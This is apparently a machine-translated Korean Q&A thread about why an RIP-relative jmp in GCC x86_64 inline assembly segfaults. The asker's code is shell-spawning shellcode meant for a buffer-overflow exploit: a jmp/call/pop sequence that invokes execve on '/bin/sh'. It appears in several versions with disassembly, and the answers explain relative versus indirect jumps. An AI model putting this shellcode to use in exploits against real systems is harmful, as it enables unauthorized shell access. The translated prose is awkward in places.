2015-01-18 4 views
4

처음부터 셸을 생성하는 익스플로잇을 작성하고 있습니다. (즉, 버퍼 오버 플로우에서 사용됨). 내가 직면하고있는 문제 중 하나는 작동하도록 jmp 문을 가져 오는 것입니다. 내 이해는 jmp 명령은 ip에 상대적인 것입니다. 그러나 인라인 어셈블리에서 다음을 실행하려고하면 절대 주소로 점프합니다. 나는이 작업을 수행 할 때가 세그먼트 오류를 ​​얻을 수GCC (x86_64)에서 인라인 어셈블리를 사용하여 상대 점프/호출을 수행하는 방법

jmp *0x28(%rip) #will jump to address 0x28 relative to the ip

을하지만 : 나는이 문제를 해결 왔

jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip

한 가지 방법과 같이 명령의 일부로서 IP를 사용하는 것입니다 JMP

전체 어셈블리 코드는 아래와 같다 :

void main() { 
    __asm__(
    "jmp *0x28(%rip)       \n" 
    "popq %rax        \n" 
    "movw $0x0, 0x0(%rax)  #add null termination   \n" 
    "movq %rax,0x8(%rax)  #set up argv in memory   \n" 
    "movq $0, 0x10(%rax)       \n" 
    "mov $0x0, %edx   #set up arg 3    \n" 
    "mov %rax, %rsi        \n" 
    "add $0x8, %rsi        \n" 
    "mov %rax,%rdi        \n" 
    "mov $0x3b,%eax        \n" 
    "syscall        \n" 
    "call *-0x2e(%rip)       \n" 
    ".string \"/bin/sh\"" 
    ); 
} 

GDB에서 분해 출력은 다음과 같습니다

Dump of assembler code for function main: 
    0x00000000004004ac <+0>: push %rbp 
    0x00000000004004ad <+1>: mov %rsp,%rbp 
    0x00000000004004b0 <+4>: jmpq *0x28(%rip)  # 0x4004de <main+50> 
    0x00000000004004b6 <+10>: pop %rax 
    0x00000000004004b7 <+11>: movw $0x0,(%rax) 
    0x00000000004004bc <+16>: mov %rax,0x8(%rax) 
    0x00000000004004c0 <+20>: movq $0x0,0x10(%rax) 
    0x00000000004004c8 <+28>: mov $0x0,%edx 
    0x00000000004004cd <+33>: mov %rax,%rsi 
    0x00000000004004d0 <+36>: add $0x8,%rsi 
    0x00000000004004d4 <+40>: mov %rax,%rdi 
    0x00000000004004d7 <+43>: mov $0x3b,%eax 
    0x00000000004004dc <+48>: syscall 
    0x00000000004004de <+50>: callq *-0x2e(%rip)  # 0x4004b6 <main+10> 
    0x00000000004004e4 <+56>: (bad) 
    0x00000000004004e5 <+57>: (bad) 
    0x00000000004004e6 <+58>: imul $0x5d006873,0x2f(%rsi),%ebp 
    0x00000000004004ed <+65>: retq 
End of assembler dump. 

나는 GDB가 올바른 주소로 갈거야 말한다는 사실에도 불구하고 첫 번째 명령 jmp *0x28(%rip)에 세그먼트 폴트를 얻을.

흥미로운 점은 call *-0x2e(%rip)과 jmp 앞에 레이블을 붙이면 작동한다는 것입니다. 주소는 절대적 일 것이고 jmp에서 분할 오류가 생성되지 않습니다.

C 코드를 사용하여 라벨 :

void main() { 
    __asm__(
    "jmp my_hack        \n" 
    "popq %rax        \n" 
    "movw $0x0, 0x0(%rax)  #add null termination   \n" 
    "movq %rax,0x8(%rax)  #set up argv in memory   \n" 
    "movq $0, 0x10(%rax)       \n" 
    "mov $0x0, %edx   #set up arg 3    \n" 
    "mov %rax, %rsi        \n" 
    "add $0x8, %rsi        \n" 
    "mov %rax,%rdi        \n" 
    "mov $0x3b,%eax        \n" 
    "syscall        \n" 
    "my_hack:        \n" 
    "call *-0x2e(%rip)       \n" 
    ".string \"/bin/sh\"" 
    ); 
} 

결과 분해

Dump of assembler code for function main: 
    0x00000000004004ac <+0>: push %rbp 
    0x00000000004004ad <+1>: mov %rsp,%rbp 
    0x00000000004004b0 <+4>: jmp 0x4004da <main+46> 
    0x00000000004004b2 <+6>: pop %rax 
    0x00000000004004b3 <+7>: movw $0x0,(%rax) 
    0x00000000004004b8 <+12>: mov %rax,0x8(%rax) 
    0x00000000004004bc <+16>: movq $0x0,0x10(%rax) 
    0x00000000004004c4 <+24>: mov $0x0,%edx 
    0x00000000004004c9 <+29>: mov %rax,%rsi 
    0x00000000004004cc <+32>: add $0x8,%rsi 
    0x00000000004004d0 <+36>: mov %rax,%rdi 
    0x00000000004004d3 <+39>: mov $0x3b,%eax 
    0x00000000004004d8 <+44>: syscall 
    0x00000000004004da <+46>: callq *-0x2e(%rip)  # 0x4004b2 <main+6> 
    0x00000000004004e0 <+52>: (bad) 
    0x00000000004004e1 <+53>: (bad) 
    0x00000000004004e2 <+54>: imul $0x5d006873,0x2f(%rsi),%ebp 
    0x00000000004004e9 <+61>: retq 
End of assembler dump. 

세그먼트 오류를 ​​생성하지 않습니다 위의 분해에 라벨을 사용하여 점프. 0x00000000004004da에서 실행 된 통화가 처리됩니다.

jmp에서 립을 사용하면 왜 세분화 오류가 발생하는지 설명 할 수 있습니까?

어떻게 GCC 인라인 어셈블리를 사용하여 상대 점프/콜을 할 수 있습니까? 어셈블러를 검사하는 방법을 모르지만 GAS를 사용하고 있다고 확신합니다 (위키에서는 기본 GCC 어셈블러라고 말합니다). 관련 질문에 jmp .+0x28과 같은 구문을 사용하는 제안이있었습니다. 그러나 이것은 절대 점프가되고 PC 로의 상대적 점프가 아닙니다.

답변

2

너무 간접적 인 생각이 있습니다. 어셈블리 명령이 명령의 시작 주소를 기준으로하기 때문에 어셈블러에서

jmp 0x28(%rip) 

을 시도, 그것은

jmp $+0x28 

로 (약) 기록 될 것이다 나는 을 썼다. 그러나 rip은 실행될 때까지 다음 명령어로 증가됩니다.그래서 라벨에

jmp $+0x24  # maybe 0x23, maybe 0x25 depending on the instruction length 
0

당신 jmpcall 같은 동일한 효과 뭔가를 얻으려면, 당신 는 상대 주소가 아닌 절대 주소를 사용하고 있습니다. GDB에서 볼 수있는 디스 어셈블리는 거짓 일 수 있습니다. objdump -D <ELF file>을 시도하고 main 세그먼트를 찾으십시오.

여기에 objdump의 첫 번째 예가 나와 있습니다.

00000000004004b4 <main>: 
    4004b4:  55      push %rbp 
    4004b5:  48 89 e5    mov %rsp,%rbp 
    4004b8:  ff 25 28 00 00 00  jmpq *0x28(%rip)  # 4004e6 <main+0x32> 
    4004be:  58      pop %rax 
    4004bf:  66 c7 00 00 00   movw $0x0,(%rax) 
    4004c4:  48 89 40 08    mov %rax,0x8(%rax) 
    4004c8:  48 c7 40 10 00 00 00 movq $0x0,0x10(%rax) 
    4004cf:  00 
    4004d0:  ba 00 00 00 00   mov $0x0,%edx 
    4004d5:  48 89 c6    mov %rax,%rsi 
    4004d8:  48 83 c6 08    add $0x8,%rsi 
    4004dc:  48 89 c7    mov %rax,%rdi 
    4004df:  b8 3b 00 00 00   mov $0x3b,%eax 
    4004e4:  0f 05     syscall 
    4004e6:  ff 15 d2 ff ff ff  callq *-0x2e(%rip)  # 4004be <main+0xa> 
    4004ec:  2f      (bad) 
    4004ed:  62      (bad) 
    4004ee:  69 6e 2f 73 68 00 5d imul $0x5d006873,0x2f(%rsi),%ebp 
    4004f5:  c3      retq 

0x4004b8에서 jmp 당신이 원하는 아마 아니다. 메모리 위치 0x4004e6에서 참조 된 주소로 점프합니다. 0x622fffffffd215ff에서 명령을 실행하려고하면 페이지 오류가 발생할 수 있습니다. 마찬가지로 call (0x4004e6)은 실제로 프로그램 카운터를 0x66580000002825ff으로 옮기면 다른 세그 폴트가 발생합니다. ,

나는 약간 번째 예제

void main() { 
    __asm__(
    "jmp my_hack        \n" 
    "my_hack2:\n" 
    "popq %rax        \n" 
    "movw $0x0, 0x0(%rax)  #add null termination   \n" 
    "movq %rax,0x8(%rax)  #set up argv in memory   \n" 
    "movq $0, 0x10(%rax)       \n" 
    "mov $0x0, %edx   #set up arg 3    \n" 
    "mov %rax, %rsi        \n" 
    "add $0x8, %rsi        \n" 
    "mov %rax,%rdi        \n" 
    "mov $0x3b,%eax        \n" 
    "syscall        \n" 
    "my_hack:        \n" 
    "call my_hack2       \n" 
    ".string \"/bin/sh\"" 
    ); 
} 

수정 한 ... 그리고 objdump

00000000004004b4 <main>: 
    4004b4:  55      push %rbp 
    4004b5:  48 89 e5    mov %rsp,%rbp 
    4004b8:  eb 28     jmp 4004e2 <my_hack> 

00000000004004ba <my_hack2>: 
    4004ba:  58      pop %rax 
    4004bb:  66 c7 00 00 00   movw $0x0,(%rax) 
    4004c0:  48 89 40 08    mov %rax,0x8(%rax) 
    4004c4:  48 c7 40 10 00 00 00 movq $0x0,0x10(%rax) 
    4004cb:  00 
    4004cc:  ba 00 00 00 00   mov $0x0,%edx 
    4004d1:  48 89 c6    mov %rax,%rsi 
    4004d4:  48 83 c6 08    add $0x8,%rsi 
    4004d8:  48 89 c7    mov %rax,%rdi 
    4004db:  b8 3b 00 00 00   mov $0x3b,%eax 
    4004e0:  0f 05     syscall 

00000000004004e2 <my_hack>: 
    4004e2:  e8 d3 ff ff ff   callq 4004ba <my_hack2> 
    4004e7:  2f      (bad) 
    4004e8:  62      (bad) 
    4004e9:  69 6e 2f 73 68 00 5d imul $0x5d006873,0x2f(%rsi),%ebp 
    4004f0:  c3      retq 

의 결과로 분해 당신은 jmpcall에 대한 명령 인코딩을 모르는 경우에도 어셈블러가 0x4004b80x4004e2에있는 명령어의 상대 주소를 생성 했음이 분명합니다.

여전히 프로그램이 segfaults가되지만 잘하면이 이유를 알아낼 수 있습니다.